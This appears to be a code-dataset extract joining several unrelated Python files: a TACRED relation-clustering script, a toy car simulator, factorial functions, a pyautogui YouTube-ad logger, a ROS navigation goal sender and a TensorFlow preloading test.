\"always\", \"am\", \"among\", \"amongst\", \"amoungst\", \"amount\", \"an\", \"and\", \"another\", \"any\", \n \"anyhow\", \"anyone\", \"anything\", \"anyway\", \"anywhere\", \"are\", \"around\", \"as\", \"at\", \"back\", \"be\", \"became\", \"because\", \"become\", \"becomes\", \n \"becoming\", \"been\", \"before\", \"beforehand\", \"behind\", \"being\", \"below\", \"beside\", \"besides\", \"between\", \"beyond\", \"bill\", \"both\", \"bottom\", \n \"but\", \"by\", \"call\", \"can\", \"cannot\", \"cant\", \"co\", \"con\", \"could\", \"couldnt\", \"cry\", \"de\", \"describe\", \"detail\", \"do\", \"done\", \"down\", \"due\", \n \"during\", \"each\", \"eg\", \"eight\", \"either\", \"eleven\", \"else\", \"elsewhere\", \"empty\", \"enough\", \"etc\", \"even\", \"ever\", \"every\", \"everyone\", \n \"everything\", \"everywhere\", \"except\", \"few\", \"fifteen\", \"fify\", \"fill\", \"find\", \"fire\", \"first\", \"five\", \"for\", \"former\", \"formerly\", \"forty\", \n \"found\", \"four\", \"from\", \"front\", \"full\", \"further\", \"get\", \"give\", \"go\", \"had\", \"has\", \"hasnt\", \"have\", \"he\", \"hence\", \"her\", \"here\", \n \"hereafter\", \"hereby\", \"herein\", \"hereupon\", \"hers\", \"herself\", \"him\", \"himself\", \"his\", \"how\", \"however\", \"hundred\", \"ie\", \"if\", \"in\", \"inc\", \n \"indeed\", \"interest\", \"into\", \"is\", \"it\", \"its\", \"itself\", \"keep\", \"last\", \"latter\", \"latterly\", \"least\", \"less\", \"ltd\", \"made\", \"many\", \"may\", \n \"me\", \"meanwhile\", \"might\", \"mill\", \"mine\", \"more\", \"moreover\", \"most\", \"mostly\", \"move\", \"much\", \"must\", \"my\", \"myself\", \"name\", \"namely\", \n \"neither\", \"never\", \"nevertheless\", \"next\", \"nine\", \"no\", \"nobody\", \"none\", \"noone\", \"nor\", \"not\", \"nothing\", \"now\", \"nowhere\", \"of\", \"off\", \n \"often\", \"on\", \"once\", \"one\", \"only\", \"onto\", \"or\", \"other\", \"others\", \"otherwise\", \"our\", \"ours\", \"ourselves\", \"out\", \"over\", \"own\", \"part\", \n \"per\", \"perhaps\", \"please\", \"put\", \"rather\", \"re\", \"same\", \"see\", \"seem\", \"seemed\", \"seeming\", \"seems\", \"serious\", \"several\", \"she\", \"should\", \n \"show\", \"side\", \"since\", \"sincere\", \"six\", \"sixty\", \"so\", \"some\", \"somehow\", \"someone\", \"something\", \"sometime\", \"sometimes\", \"somewhere\", \n \"still\", \"such\", \"system\", \"take\", \"ten\", \"than\", \"that\", \"the\", \"their\", \"them\", \"themselves\", \"then\", \"thence\", \"there\", \"thereafter\", \n \"thereby\", \"therefore\", \"therein\", \"thereupon\", \"these\", \"they\", \"thickv\", \"thin\", \"third\", \"this\", \"those\", \"though\", \"three\", \"through\", \n \"throughout\", \"thru\", \"thus\", \"to\", \"together\", \"too\", \"top\", \"toward\", \"towards\", \"twelve\", \"twenty\", \"two\", \"un\", \"under\", \"until\", \"up\", \n \"upon\", \"us\", \"very\", \"via\", \"was\", \"we\", \"well\", \"were\", \"what\", \"whatever\", \"when\", \"whence\", \"whenever\", \"where\", \"whereafter\", \"whereas\", \n \"whereby\", \"wherein\", \"whereupon\", \"wherever\", \"whether\", \"which\", \"while\", \"whither\", \"who\", \"whoever\", \"whole\", \"whom\", \"whose\", \"why\", \n \"will\", \"with\", \"within\", \"without\", \"would\", \"yet\", \"you\", \"your\", \"yours\", \"yourself\", \"yourselves\", \"the\", \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \n \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \n \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", \"co\", \"op\", \"research-articl\", \"pagecount\", \"cit\", \"ibid\", \n \"les\", \"le\", \"au\", \"que\", \"est\", \"pas\", \"vol\", \"el\", \"los\", \"pp\", \"u201d\", \"well-b\", \"http\", \"volumtype\", \"par\", \"0o\", \"0s\", \"3a\", \"3b\", \"3d\", \n \"6b\", \"6o\", \"a1\", \"a2\", \"a3\", \"a4\", \"ab\", \"ac\", \"ad\", \"ae\", \"af\", \"ag\", \"aj\", \"al\", \"an\", \"ao\", \"ap\", \"ar\", \"av\", \"aw\", \"ax\", \"ay\", \"az\", \"b1\", \n \"b2\", \"b3\", \"ba\", \"bc\", \"bd\", \"be\", \"bi\", \"bj\", \"bk\", \"bl\", \"bn\", \"bp\", \"br\", \"bs\", \"bt\", \"bu\", \"bx\", \"c1\", \"c2\", \"c3\", \"cc\", \"cd\", \"ce\", \"cf\", \n \"cg\", \"ch\", \"ci\", \"cj\", \"cl\", \"cm\", \"cn\", \"cp\", \"cq\", \"cr\", \"cs\", \"ct\", \"cu\", \"cv\", \"cx\", \"cy\", \"cz\", \"d2\", \"da\", \"dc\", \"dd\", \"de\", \"df\", \"di\", \n \"dj\", \"dk\", \"dl\", \"do\", \"dp\", \"dr\", \"ds\", \"dt\", \"du\", \"dx\", \"dy\", \"e2\", \"e3\", \"ea\", \"ec\", \"ed\", \"ee\", \"ef\", \"ei\", \"ej\", \"el\", \"em\", \"en\", \"eo\", \n \"ep\", \"eq\", \"er\", \"es\", \"et\", \"eu\", \"ev\", \"ex\", \"ey\", \"f2\", \"fa\", \"fc\", \"ff\", \"fi\", \"fj\", \"fl\", \"fn\", \"fo\", \"fr\", \"fs\", \"ft\", \"fu\", \"fy\", \"ga\", \n \"ge\", \"gi\", \"gj\", \"gl\", \"go\", \"gr\", \"gs\", \"gy\", \"h2\", \"h3\", \"hh\", \"hi\", \"hj\", \"ho\", \"hr\", \"hs\", \"hu\", \"hy\", \"i\", \"i2\", \"i3\", \"i4\", \"i6\", \"i7\", \n \"i8\", \"ia\", \"ib\", \"ic\", \"ie\", \"ig\", \"ih\", \"ii\", \"ij\", \"il\", \"in\", \"io\", \"ip\", \"iq\", \"ir\", \"iv\", \"ix\", \"iy\", \"iz\", \"jj\", \"jr\", \"js\", \"jt\", \"ju\", \n \"ke\", \"kg\", \"kj\", \"km\", \"ko\", \"l2\", \"la\", \"lb\", \"lc\", \"lf\", \"lj\", \"ln\", \"lo\", \"lr\", \"ls\", \"lt\", \"m2\", \"ml\", \"mn\", \"mo\", \"ms\", \"mt\", \"mu\", \"n2\", \n \"nc\", \"nd\", \"ne\", \"ng\", \"ni\", \"nj\", \"nl\", \"nn\", \"nr\", \"ns\", \"nt\", \"ny\", \"oa\", \"ob\", \"oc\", \"od\", \"of\", \"og\", \"oi\", \"oj\", \"ol\", \"om\", \"on\", \"oo\", \n \"oq\", \"or\", \"os\", \"ot\", \"ou\", \"ow\", \"ox\", \"oz\", \"p1\", \"p2\", \"p3\", \"pc\", \"pd\", \"pe\", \"pf\", \"ph\", \"pi\", \"pj\", \"pk\", \"pl\", \"pm\", \"pn\", \"po\", \"pq\", \n \"pr\", \"ps\", \"pt\", \"pu\", \"py\", \"qj\", \"qu\", \"r2\", \"ra\", \"rc\", \"rd\", \"rf\", \"rh\", \"ri\", \"rj\", \"rl\", \"rm\", \"rn\", \"ro\", \"rq\", \"rr\", \"rs\", \"rt\", \"ru\", \n \"rv\", \"ry\", \"s2\", \"sa\", \"sc\", \"sd\", \"se\", \"sf\", \"si\", \"sj\", \"sl\", \"sm\", \"sn\", \"sp\", \"sq\", \"sr\", \"ss\", \"st\", \"sy\", \"sz\", \"t1\", \"t2\", \"t3\", \"tb\", \n \"tc\", \"td\", \"te\", \"tf\", \"th\", \"ti\", \"tj\", \"tl\", \"tm\", \"tn\", \"tp\", \"tq\", \"tr\", \"ts\", \"tt\", \"tv\", \"tx\", \"ue\", \"ui\", \"uj\", \"uk\", \"um\", \"un\", \"uo\", \n \"ur\", \"ut\", \"va\", \"wa\", \"vd\", \"wi\", \"vj\", \"vo\", \"wo\", \"vq\", \"vt\", \"vu\", \"x1\", \"x2\", \"x3\", \"xf\", \"xi\", \"xj\", \"xk\", \"xl\", \"xn\", \"xo\", \"xs\", \"xt\", \n \"xv\", \"xx\", \"y2\", \"yj\", \"yl\", \"yr\", \"ys\", \"yt\", \"zi\", \"zz\"]\n\n\n \ndef save_to_csv(df, where_to_save):\n if df[df['highlighted'].apply(lambda x: x == [])].shape[0] == df.shape[0]:\n df.to_csv(where_to_save, sep='\\t', quoting=3, header=True, index=True) \n elif df[df['highlighted'].apply(lambda x: x == [])].shape[0] > 0:\n empty_df = df[df['highlighted'].apply(lambda x: x == [])]\n nonempty_df = df[df['highlighted'].apply(lambda x: x != [])]\n empty_df.to_csv(f'{where_to_save}_empty', sep='\\t', quoting=3, header=True, index=True)\n nonempty_df.to_csv(f'{where_to_save}_nonempty', sep='\\t', quoting=3, header=True, index=True)\n else:\n df.to_csv(where_to_save, sep='\\t', quoting=3, header=True, index=True) \n\ndef cluster(rel_emb, threshold=0.1):\n linkage = hac.linkage(rel_emb, metric='cosine', method='complete')\n labels = np.array(hac.fcluster(linkage, threshold, criterion=\"distance\"))\n return labels\n\n\ndef dump_to_file(df, dfe, current_path, suffix='', max_size=10, rec_level=0, threshold=0.1):\n # Cannot call cluster when there is only one entry, as there will be no distance matrix\n # In that case, just save it to file. It is a valid cluster of size 1\n if df.shape[0] == 1:\n save_to_csv(df, f'{current_path}{suffix}_i')\n else:\n labels = cluster(dfe, threshold=threshold)\n number_of_labels = np.unique(labels).shape[0]\n\n for i in range(1, number_of_labels+1):\n if(rec_level < 10):\n if(df[labels==i].shape[0] > max_size):\n dump_to_file(df[labels==i], dfe[labels==i], current_path, suffix + '_' + str(i), max_size, rec_level + 1, threshold*0.5)\n else:\n save_to_csv(df[labels==i], f'{current_path}{suffix}_{i}')\n # df[labels==i].to_csv(f'{current_path}{suffix}_{i}', sep='\\t', quoting=3, header=True, index=True)\n else:\n save_to_csv(df[labels==i], f'{current_path}{suffix}_{i}')\n # df[labels==i].to_csv(f'{current_path}{suffix}_{i}', sep='\\t', quoting=3, header=True, index=True)\n\n\ndef agglomerative_clustering(filename: str = '/data/nlp/corpora/odinsynth/data/TACRED/tacred/data/json/train_processed.json', base_path = '/data/nlp/corpora/odinsynth/data/TACRED/odinsynth_tacred102', max_size = 5, threshold = 0.1):\n data = pd.read_csv(filename, sep='\\t', quoting=3, converters={\"highlighted\": literal_eval})\n\n # print(data[data['relation']=='org:founded_by']['highlighted'])\n \n data['highlighted_string'] = data.apply(lambda x: append_highlighted_part(x), axis=1)\n \n # used for computing the embedding\n glove = torchtext.vocab.GloVe(name='840B', dim=300)\n \n relations = sorted(list(set(data['relation'].tolist())))\n # print(relations)\n relno = list(zip(relations, range(len(relations))))\n\n for is_reversed in [0, 1]:\n for relation, relation_number in relno[1:]:\n p = relation.replace(':','_').replace('/', '_')\n max_size = 1000\n if not os.path.exists(f'{base_path}/{relation_number}.{p}'):\n os.mkdir(f'{base_path}/{relation_number}.{p}')\n current_path = f'{base_path}/{relation_number}.{p}/cluster_r{is_reversed}'\n\n # Some filtering (by relation and by reverse)\n data_rel = data[data['relation'] == relations[relation_number]] # per:date_of_death\n data_rel = data_rel[data_rel['reversed']==is_reversed]\n\n # Cluster only if there is something to cluster\n if data_rel.shape[0] != 0:\n data_rel_list = [] # holds the text\n data_rel_emb = [] # holds the embeddings\n\n for i in range(data_rel.shape[0]):\n d = data_rel.iloc[i]\n text = d['highlighted_string']\n # text = [t.lower() for t in text]\n data_rel_list.append(text)\n emb = torch.cat([glove[x.lower()].unsqueeze(0) for x in text], dim=0).mean(0)\n data_rel_emb.append(emb.unsqueeze(0))\n\n data_rel_emb = torch.cat(data_rel_emb, dim=0)\n\n drll = np.array([len(x) for x in data_rel_list]) # data_rel_list lengths\n data_rel = data_rel[drll 4:\n df.to_csv(f'{current_path}_{idx}', sep='\\t', quoting=3, header=True, index=True)\n else:\n df_under_thresholds.append(df)\n idx += 1\n # exit()\n \ndef stats():\n def cos(x, y):\n return torch.dot(x, y)/torch.sqrt(torch.dot(x,x) * torch.dot(y,y))\n\n\n data['highlighted_string_embedding'] = data.apply(lambda z: torch.cat([glove[x.lower()].unsqueeze(0) for x in z['highlighted_string'].split(' ')], dim=0).mean(0), axis=1)\n embeddings = torch.cat([x.unsqueeze(dim=0) for x in data['highlighted_string_embedding']], dim=0)\n lengths = np.array([len(x.split(' ')) for x in data['highlighted_string']])\n print(np.mean(lengths))\n print(np.median(lengths))\n # exit()\n # embeddings_len_l10 = embeddings[lengths<10]\n\n embeddings_len_g10 = embeddings[lengths>10]\n embeddings_len_g20 = embeddings[lengths>20]\n # embeddings_len_g30 = embeddings[lengths>30]\n # embeddings_len_g40 = embeddings[lengths>40]\n # embeddings_len_g50 = embeddings[lengths>50]\n\n # random_numbers_l10 = np.random.choice(range(embeddings_len_l10.shape[0]), (10000, 2))\n # random_numbers_l10 = random_numbers_l10[random_numbers_l10[:,0] != random_numbers_l10[:,1]]\n \n random_numbers_g10 = np.random.choice(range(embeddings_len_g10.shape[0]), (10000, 2))\n random_numbers_g10 = random_numbers_g10[random_numbers_g10[:,0] != random_numbers_g10[:,1]]\n \n random_numbers_g20 = np.random.choice(range(embeddings_len_g20.shape[0]), (10000, 2))\n random_numbers_g20 = random_numbers_g20[random_numbers_g20[:,0] != random_numbers_g20[:,1]]\n \n # random_numbers_g30 = np.random.choice(range(embeddings_len_g30.shape[0]), (10000, 2))\n # random_numbers_g30 = random_numbers_g30[random_numbers_g30[:,0] != random_numbers_g30[:,1]]\n \n # random_numbers_g40 = np.random.choice(range(embeddings_len_g40.shape[0]), (10000, 2))\n # random_numbers_g40 = random_numbers_g40[random_numbers_g40[:,0] != random_numbers_g40[:,1]]\n\n # random_numbers_g50 = np.random.choice(range(embeddings_len_g50.shape[0]), (10000, 2))\n # random_numbers_g50 = random_numbers_g50[random_numbers_g50[:,0] != random_numbers_g50[:,1]]\n\n random_numbers_all = np.random.choice(range(embeddings.shape[0]), (100000, 2))\n random_numbers_all = random_numbers_all[random_numbers_all[:,0] != random_numbers_all[:,1]]\n\n # mean_l10 = np.mean([cos(embeddings_len_l10[x[0]], embeddings_len_l10[x[1]]) for x in random_numbers_l10])\n\n mean_g10 = np.mean([cos(embeddings_len_g10[x[0]], embeddings_len_g10[x[1]]) for x in random_numbers_g10])\n mean_g20 = np.mean([cos(embeddings_len_g20[x[0]], embeddings_len_g20[x[1]]) for x in random_numbers_g20])\n # mean_g30 = np.mean([cos(embeddings_len_g30[x[0]], embeddings_len_g30[x[1]]) for x in random_numbers_g30])\n # mean_g40 = np.mean([cos(embeddings_len_g40[x[0]], embeddings_len_g40[x[1]]) for x in random_numbers_g40])\n # mean_g50 = np.mean([cos(embeddings_len_g50[x[0]], embeddings_len_g50[x[1]]) for x in random_numbers_g50])\n\n mean_all = np.mean([cos(embeddings[x[0]], embeddings[x[1]]) for x in random_numbers_all])\n random_numbers1 = np.random.choice(range(embeddings.shape[0]), (100000, 2))\n\n coerrcoef_all_cos = [cos(embeddings[x[0]], embeddings[x[1]]) for x in random_numbers_all]\n coerrcoef_all_lengths1 = [min(lengths[x[0]], lengths[x[1]]) for x in random_numbers_all]\n coerrcoef_all_lengths2 = [max(lengths[x[0]], lengths[x[1]]) for x in random_numbers_all]\n print(np.corrcoef(coerrcoef_all_lengths1, coerrcoef_all_cos))\n print(np.corrcoef(coerrcoef_all_lengths2, coerrcoef_all_cos))\n\n # print(mean_l10)\n\n print(mean_g10)\n print(mean_g20)\n # print(mean_g30)\n # print(mean_g40)\n # print(mean_g50)\n print(mean_all)\n\"\"\"\n\n\"\"\"\nReads each episode into a dataframe which will contain its supporting sentences (with all the relations that are available in the episode)\nThen, saves the dataframe like \"df_ep{episode_number}\"\n\nAfter this function is applied, the supporting sentences of the episode \"i\" can be read as they are in agglomerative_clustering function:\n data = pd.read_csv(filename, sep='\\t', quoting=3, converters={\"highlighted\": literal_eval})\n\"\"\"\ndef from_fewshot_tacred_to_processed_json(path: str, savepath: str): \n with open(path) as fin:\n data = json.load(fin)\n\n \n episodes_data = data[0]\n relations_data = data[2]\n\n dataframes = []\n for (i, (episodes, relations)) in enumerate(zip(episodes_data, relations_data)):\n train_relations = relations[0]\n test_relations = relations[1]\n train_data = episodes['meta_train']\n test_data = episodes['meta_test']\n\n data_for_episode = []\n for (train_rel_eps, train_rel) in zip(train_data, train_relations):\n for tre in train_rel_eps:\n is_reversed = 1 if tre['subj_start'] > tre['obj_start'] else 0\n if is_reversed == 1:\n highlighted_tokens = tre['token'][(tre['obj_end'] + 1):tre['subj_start']]\n else:\n highlighted_tokens = tre['token'][(tre['subj_end'] + 1):tre['obj_start']]\n\n # subj_start, subj_end, subj_type, obj_start, obj_end, obj_type, highlighted, tokens, reversed, relation\n data_for_episode.append([\n tre['subj_start'],\n tre['subj_end'],\n tre['subj_type'],\n tre['obj_start'],\n tre['obj_end'],\n tre['obj_type'],\n highlighted_tokens,\n tre['token'],\n is_reversed,\n train_rel\n ])\n \n df = pd.DataFrame(data_for_episode, columns = ['subj_start', 'subj_end', 'subj_type', 'obj_start', 'obj_end', 'obj_type', 'highlighted', 'tokens', 'reversed', 'relation'])\n dataframes.append([df, i])\n \n for (df, i) in dataframes:\n df.to_csv(f'{savepath}/df_ep{i}', sep='\\t', quoting=3, header=True, index=False)\n\n\"\"\"\nHelper function to be used inside fewshot_tacred_data_prep with Pool\n\"\"\"\ndef multi_processing_function(path):\n last_part = path.split('/')[-1]\n base_path = '/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/clusters_0/'\n agglomerative_clustering(path, f'{base_path}/{last_part}', max_size=2, threshold = 0.005)\n\n\"\"\"\nRead the data in .json format, as they are after applying from_fewshot_tacred_to_processed_json\non the original data generated using the Few-Shot TACRED scripts\nThen, attempts to cluster everything with the agglomerative_clustering\nIn this scenario, the support data in an episode represents the \"data\" to be \"clustered\"\nCompared to when using the full data where the whole train partition of TACRED was clustered\n\"\"\"\ndef fewshot_tacred_data_prep():\n # Read each episode support sentences and save the resulting dataframes to their own files\n from_fewshot_tacred_to_processed_json('/data/nlp/corpora/fs-tacred/few-shot-dev/dev_episodes/5_way_5_shots_10K_episodes_3q_seed_160290.json', '/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/episodes_0/')\n import glob\n dataframes_paths = glob.glob('/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/episodes_0/*')\n base_path = '/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/clusters_0/'\n # Create folders for the clusters\n # For easier access, we create them like clusters/df_ep{ep_number}/{relation}/cluster_r{reversed}_{number}\n for dp in dataframes_paths:\n last_part = dp.split('/')[-1]\n if not os.path.exists(f'{base_path}/{last_part}'):\n os.mkdir(f'{base_path}/{last_part}')\n \n pool = Pool(40)\n pool.map(multi_processing_function, dataframes_paths)\n unique_clusters('/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/clusters_0/', '/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/clusters_0_unique/')\n\ndef df_to_set_of_tuples(filename): \n data = pd.read_csv(filename, sep='\\t', index_col=0, quoting=3, converters={\"highlighted\": literal_eval, \"tokens\": literal_eval})\n list_of_tuples = []\n for l in data.values.tolist():\n list_of_tuples.append(tuple([tuple(x) if type(x)==list else x for x in l]))\n result = frozenset(list_of_tuples)\n \n return result\n\ndef set_of_tuples_to_list_of_lists(tuples):\n result = []\n for t in list(tuples):\n result.append(list([list(x) if type(x) == tuple else x for x in t]))\n \n return result\n\n\ndef unique_clusters(basepath: str, savepath: str):\n import glob\n from collections import defaultdict\n clusters = glob.glob(f'{basepath}/*/*/*')\n\n # Store the initial header; Will be used when re-creating the dataframes\n header = pd.read_csv(clusters[0], sep='\\t', index_col=0, quoting=3, converters={\"highlighted\": literal_eval, \"tokens\": literal_eval}).columns\n\n uniques = set()\n identical_clusters = defaultdict(list)\n \n for c in tqdm.tqdm(clusters):\n df = df_to_set_of_tuples(c)\n identical_clusters[df].append(c)\n uniques.add(df)\n\n print(\"We have\", len(uniques), \"unique clusters. The relation between original cluster and its representative (the one that is saved) is at identical_clusters_paths\")\n uniques_list = list(uniques)\n reversed_dictionary = {}\n for i, c in tqdm.tqdm(enumerate(uniques_list)):\n for cluster_path in identical_clusters[c]:\n reversed_dictionary[cluster_path] = f'cluster_{i}'\n ll = set_of_tuples_to_list_of_lists(c)\n df = pd.DataFrame(ll, columns=header)\n df.to_csv(f'{savepath}/cluster_{i}', sep='\\t', quoting=3, header=True, index=True)\n \n with open(f'{savepath}/identical_clusters_paths', 'w+') as fout:\n json.dump(reversed_dictionary, fout, indent=4, sort_keys=True)\n\n\nif __name__ == \"__main__\":\n # df_to_tuple_of_tuples('/data/nlp/corpora/fs-tacred/few-shot-dev/dev-processed/clusters_0/df_ep7092/1.org_parents/cluster_r1_1')\n fewshot_tacred_data_prep()\n # agglomerative_clustering()\n","sub_path":"lrec2022-odinsynth/python/tacred_data_prep.py","file_name":"tacred_data_prep.py","file_ext":"py","file_size_in_byte":29796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535067301","text":"import time\n\nclass Car:\n def __init__(self):\n self.acceleration = 0\n self.speedmeter = 0\n def accelerate(self):\n self.acceleration += 10\n time.sleep(0.4)\n print(\"You are going {} m/s!\".format(self.acceleration))\n for i in range(0, self.acceleration):\n self.speedmeter += i\n def deceleration(self):\n self.acceleration -= 10\n if self.acceleration < 0:\n time.sleep(0.4)\n print(\"You are going reverse at {} kmph\".format(self.acceleration))\n elif self.acceleration <= -30:\n time.sleep(0.4)\n print(\"Your reverse limit has peaked! First gear has been automatically initialized.\")\n self.acceleration += 30\n def show_speed(self):\n time.sleep(0.4)\n print(\"You have travelled {} meters!\".format(self.speedmeter))\n\ncar = Car()\n\ndef drive():\n while True:\n try:\n time.sleep(1)\n choice = str(input(\"What would you like to do? [A]accelerate, [B]decelerate, [C]show speed meter\")).lower()\n if choice == \"a\":\n car.accelerate()\n elif choice == \"b\":\n car.deceleration()\n elif choice == \"c\":\n car.show_speed()\n else:\n time.sleep(0.4)\n print(\"Not one of the options.\")\n except:\n time.sleep(0.4)\n print(\"Something went wrong with the input.. Try again\")\n\ndrive()\n","sub_path":"car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"359709778","text":"# non-recursive factorial\r\ndef factorial(n): \r\n\tresult = 1\r\n\tfor i in range(1, n+1):\r\n\t\tresult = result * i\r\n\treturn result\r\n\r\ndef factorialRecursive(n):\r\n\tif n <= 1: \r\n\t\treturn 1\r\n\telse: \r\n\t\treturn n * factorialRecursive(n-1)\r\n\r\nif __name__ == '__main__':\r\n\tprint(factorial(5))\r\n\tprint(factorialRecursive(5))\r\n","sub_path":"Practice/Chapter4/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"594803368","text":"import AppKit\nimport pyautogui\nimport time\nimport pyperclip\n\nheight, width = pyautogui.size()\n\n# while True:\n# time.sleep(1)\n# print(pyautogui.position())\n\n\"\"\"\n動画を再生したタイミングでこの機能を利用する\n\"\"\"\n\n# 1秒間隔で「広告をスキップ」の画像処理を実行する\nwhile True:\n time.sleep(1)\n # CMの場合を検知する\n try:\n if pyautogui.locateCenterOnScreen('./img/skip.png',confidence=.6):\n print(\"「広告をスキップ」を認識しました\")\n\n \"\"\"\n 「広告をスキップ」を検知したら、動画を止める\n \"\"\"\n imgX, imgY = pyautogui.locateCenterOnScreen('./img/skip.png',confidence=.6)\n pyautogui.moveTo(imgX/2, imgY/2 - (height / 10), duration=0.1)\n pyautogui.click()\n # pyautogui.click()\n pyautogui.hotkey('k')\n\n \"\"\"\n 「詳細情報の表示を実行する」\n \"\"\"\n pyautogui.rightClick()\n # 詳細統計情報の位置を取得\n imgX, imgY = pyautogui.locateCenterOnScreen('./img/detailInfo.png', confidence=.6)\n print(\"詳細k統計情報を認識しました\")\n pyautogui.moveTo(imgX/2, imgY/2, duration=0.1)\n # 詳細統計情報をクリック\n pyautogui.click()\n pyautogui.hotkey(\"command\",\"option\",'j')\n time.sleep(1)\n\n # JavascriptでVideoIDをクリップボードに保存する処理\n copyFuncList = [\n 'let t = document.querySelector(\"#movie_player > div.html5-video-info-panel > div > div:nth-child(1) > span\");',\n 'var dummy = document.createElement(\"textarea\");',\n 'document.body.appendChild(dummy);',\n 'dummy.value = t.textContent;',\n 'dummy.select();',\n 'document.execCommand(\"copy\");',\n 'document.body.removeChild(dummy);',\n ]\n\n time.sleep(2)\n # ブラウザの開発ツールのコンソールにjavascriptを1行ずつ入力する処理\n for l in copyFuncList:\n print(l)\n pyperclip.copy(l)\n pyautogui.hotkey('command','v')\n time.sleep(0.5)\n pyautogui.hotkey('enter')\n \n \"\"\"\n cmIDを取得する\n \"\"\"\n cmID = pyperclip.paste()\n cmID = cmID.strip(\" \").split('/')[0]\n print(cmID)\n\n\n\n \"\"\"\n コンソールを閉じる\n \"\"\"\n pyautogui.hotkey(\"command\",\"option\",'j')\n\n \"\"\"\n 広告のリンクを取得する\n \"\"\"\n pyautogui.moveTo(192, 518, duration=0.1)\n pyautogui.click()\n pyautogui.hotkey(\"command\", 'l')\n pyautogui.hotkey(\"command\", \"c\")\n cmURL = pyperclip.paste()\n print(cmURL)\n pyautogui.hotkey(\"command\", \"w\")\n \n \"\"\"\n cmIDと広告リンクをcm.csvに格納する\n \"\"\"\n with open(\"./cm.csv\", \"a\") as f:\n f.writelines(\"{},{}\".format(cmID, cmURL))\n\n \"\"\"\n 広告をスキップを押下\n \"\"\"\n time.sleep(0.5)\n imgX, imgY = pyautogui.locateCenterOnScreen('./img/skip.png',confidence=.6)\n pyautogui.moveTo(imgX/2, imgY/2, duration=0.1)\n pyautogui.click()\n\n except Exception as e:\n print(e)\n continue\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"319762397","text":"#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import String\nimport actionlib\nimport move_base\nfrom actionlib_msgs.msg import *\nfrom move_base_msgs.msg import *\n\n\"\"\"\nSimple really, just sends a pose on the move_base topic, which is\npicked up by the navstack and used\n\"\"\"\n\ndef talker():\n\n #always need a ros node\n rospy.init_node('blarg')\n #the actionlib lets you send action commands on a particular topic\n #navstack is listening on move_base\n client = actionlib.SimpleActionClient('move_base',MoveBaseAction)\n #waits until the action server is initialised\n client.wait_for_server()\n\n #creates the goal to be sent to the move_base topic\n goal = MoveBaseGoal()\n goal.target_pose.pose.position.x = -5.5012922287\n goal.target_pose.pose.position.y = 3.19307374954\n goal.target_pose.pose.position.z = 0.0\n goal.target_pose.pose.orientation.z = 0.901408245475\n goal.target_pose.pose.orientation.x = 0.0\n goal.target_pose.pose.orientation.y = 0.0\n goal.target_pose.pose.orientation.w = -0.432970177945\n goal.target_pose.header.frame_id = \"/map\"\n goal.target_pose.header.stamp = rospy.Time.now()\n goal.target_pose.header.seq = 4\n\n #sends the goal\n client.send_goal(goal)\n client.wait_for_result(timeout=rospy.Duration.from_sec(1))\n\n \nif __name__ == '__main__':\n try:\n talker()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"src/movetest/src/testMove.py","file_name":"testMove.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"352380951","text":"import logging\nimport threading\n\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\n\nimport numpy as np\n\nfrom config import load_config\nfrom dataset.factory import create as create_dataset\nfrom dataset.factory import get_batch_spec\nfrom dataset.pose_dataset import Batch\nfrom tools.logging import setup_logging\n\ndef setup_preloading(batch_spec):\n placeholders = {name: tf.placeholder(tf.float32, shape=spec) for (name, spec) in batch_spec.items()}\n names = placeholders.keys()\n placeholders_list = list(placeholders.values())\n\n QUEUE_SIZE = 20\n\n q = tf.FIFOQueue(QUEUE_SIZE, [tf.float32]*len(batch_spec))\n enqueue_op = q.enqueue(placeholders_list)\n batch_list = q.dequeue()\n\n batch = {}\n\n for idx, name in enumerate(names):\n batch[name] = batch_list[idx]\n batch[name].set_shape(batch_spec[name])\n\n return batch, enqueue_op, placeholders\n\n\ndef load_and_enqueue(sess, enqueue_op, coord, dataset, placeholders):\n while not coord.should_stop():\n batch_np = dataset.next_batch()\n food = {pl: batch_np[name] for (name, pl) in placeholders.items()}\n sess.run(enqueue_op, feed_dict=food)\n\ndef start_preloading(sess, enqueue_op, dataset, placeholders):\n coord = tf.train.Coordinator()\n\n t = threading.Thread(target=load_and_enqueue,\n args=(sess, enqueue_op, coord, dataset, placeholders))\n t.start()\n\n return coord, t\n\ndef test_io():\n setup_logging()\n cfg = load_config()\n\n dataset = create_dataset(cfg)\n\n batch_spec = get_batch_spec(cfg)\n batch, enqueue_op, placeholders = setup_preloading(batch_spec)\n\n sess = tf.Session()\n coord, thread = start_preloading(sess, enqueue_op, dataset, placeholders)\n\n sess.run(tf.global_variables_initializer())\n sess.run(tf.local_variables_initializer())\n\n for it in range(20):\n batch_data = sess.run([batch[Batch.inputs], batch[Batch.hm]])\n print(np.array(batch_data[0]).shape)\n print(np.array(batch_data[1]).shape)\n\n sess.close()\n coord.request_stop()\n 